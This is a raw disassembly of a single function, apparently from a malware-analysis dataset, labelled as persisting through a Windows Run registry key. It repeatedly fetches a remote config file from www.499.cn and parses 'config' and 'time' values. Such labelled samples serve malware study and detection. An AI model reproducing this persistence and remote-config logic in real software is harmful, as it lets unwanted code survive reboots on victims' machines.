Function at 0x4031af
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x50d9b6
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40324c
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40325f
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424bd0
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x403285
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x403294
jmp 0x4034d7
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x4a7a0b
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4032e2
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4032f5
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424bb0
call fcn.004232bf
add esp, 0x10
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x403318
push ebx
call fcn.004232a7
add esp, 4
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x50d9f8
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403366
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x50da3a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x403385
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x424cd0
call fcn.004232bf
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4033ab
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x4034d7
cmp dword [ebp - 4], 0
jne 0x4034d7
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x50d9f8
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40340d
push ebx
call fcn.004232a7
add esp, 4
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x34], eax
push 0x4a7a0b
push dword [ebp - 0x34]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40345b
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40346e
mov eax, 0x4a7a0a
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x403482
mov eax, 0x4a7a0a
push eax
push 0x60001
push 0x1601e645
push 0x52010001
push 3
mov eax, 5
mov ebx, 0x472290
call fcn.004232d1
add esp, 0x28
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4034bc
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4034cc
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
jmp 0x4033b5
push 0
push 1
push 0xffffffffffffffff
push 0xa
push 0x1601e034
push 0x52010001
call fcn.004232cb
add esp, 0x18
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push str.game.ate
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403542
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x403556
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40356d
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424bd0
call fcn.004232bf
add esp, 0x10
test eax, eax
je 0x403b7b
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40359b
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424bf0
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
push 0
mov ebx, 0x424b90
call fcn.004232bf
add esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_closesocket
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push reloc.WS2_32.dll_closesocket
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 3
mov ebx, 0x424880
call fcn.004232bf
add esp, 0x28
push 0x80000601
push edx
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jle 0x403b76
mov dword [ebp - 0x2c], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov eax, str.http:__www.499.cn_newbox_config.txt
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004063f6
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4036b1
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4036c1
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4036d1
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4036e1
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4036f1
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x403701
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x403711
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403721
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x403734
mov eax, 0x5086c5
push eax
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x40375a
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x54]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40376e
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4037a9
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x40387e
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403800
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x40387e
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403857
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x40387e
mov eax, 1
jmp 0x403880
xor eax, eax
test eax, eax
je 0x40388d
jmp 0x403afe
mov dword [ebp - 0x2c], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov eax, str.http:__www.499.cn_newbox_config.txt
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004063f6
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x403918
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x403928
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x403938
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x403948
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x403958
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x403968
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x403978
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403988
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x40399b
mov eax, 0x5086c5
push eax
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4039c1
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x54]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4039d5
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403a10
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x403ae5
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403a67
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x403ae5
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403abe
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x403ae5
mov eax, 1
jmp 0x403ae7
xor eax, eax
test eax, eax
je 0x403afe
mov dword [0x594910], 1
jmp 0x403afe
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403b11
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424350
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x403b3a
mov eax, 0x5086c5
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x403b4e
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x424cd0
call fcn.004232bf
add esp, 0x1c
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403b71
push ebx
call fcn.004232a7
add esp, 4
jmp 0x403b76
jmp 0x4040c6
mov dword [ebp - 0x2c], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov eax, str.http:__www.499.cn_newbox_config.txt
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004063f6
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x403c06
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x403c16
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x403c26
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x403c36
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x403c46
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x403c56
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x403c66
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403c76
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x403c89
mov eax, 0x5086c5
push eax
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x403caf
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x54]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x403cc3
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403cfe
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x403dd3
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403d55
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x403dd3
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403dac
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x403dd3
mov eax, 1
jmp 0x403dd5
xor eax, eax
test eax, eax
je 0x403de2
jmp 0x404053
mov dword [ebp - 0x2c], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov eax, str.http:__www.499.cn_newbox_config.txt
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004063f6
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x403e6d
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x403e7d
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x403e8d
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x403e9d
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x403ead
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x403ebd
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x403ecd
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403edd
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x403ef0
mov eax, 0x5086c5
push eax
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x403f16
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x54]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x403f2a
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403f65
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x40403a
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x403fbc
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x40403a
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x404013
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x40403a
mov eax, 1
jmp 0x40403c
xor eax, eax
test eax, eax
je 0x404053
mov dword [0x594910], 1
jmp 0x404053
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x404066
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424350
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40408f
mov eax, 0x5086c5
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4040a3
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x424cd0
call fcn.004232bf
add esp, 0x1c
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4040c6
push ebx
call fcn.004232a7
add esp, 4
cmp dword [0x594910], 0
jne 0x4041ef
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4a7a0a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f580
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40410a
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
push 0x4a7a0a
push dword [ebp - 0x30]
call fcn.00403112
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40414e
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x4041ef
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f583
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.time
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40418f
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x38], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x4041b8
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4041de
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x3c], 0
je 0x4041ef
mov eax, 1
jmp 0x4041f1
xor eax, eax
test eax, eax
je 0x405e60
push 0
push 1
push 0xffffffffffffffff
push 0xa
push 0x1601e058
push 0x52010001
call fcn.004232cb
add esp, 0x18
cmp dword [0x5948e0], 1
je 0x404427
push 0
push 1
push 0xffffffffffffffff
push 5
push 0x6010000
push 0x52010001
call fcn.004232cb
add esp, 0x18
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4a7a0a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f580
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404277
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
mov ebx, 6
call fcn.00401064
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4042aa
mov eax, 0x4a7a0a
push eax
push 0x20001
push 0x1601e058
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x46da60
call fcn.004232d1
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4042e1
push ebx
call fcn.004232a7
add esp, 4
push 0x20001
push 0x1601e058
push 0x52010001
push 1
mov ebx, 0x425690
call fcn.004232bf
add esp, 0x10
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f583
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.time
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404339
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404362
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404388
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594908], eax
mov eax, dword [0x594908]
mov dword [0x594904], eax
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x50d9b6
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4043e8
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [0x59490c]
test ebx, ebx
je 0x4043ff
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [0x59490c], eax
push 0
push 0x3e8
push 0xffffffffffffffff
push 8
push 0x1601e059
push 0x52010001
call fcn.004232cb
add esp, 0x18
jmp 0x404427
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f58a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f58c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40445e
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x404488
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
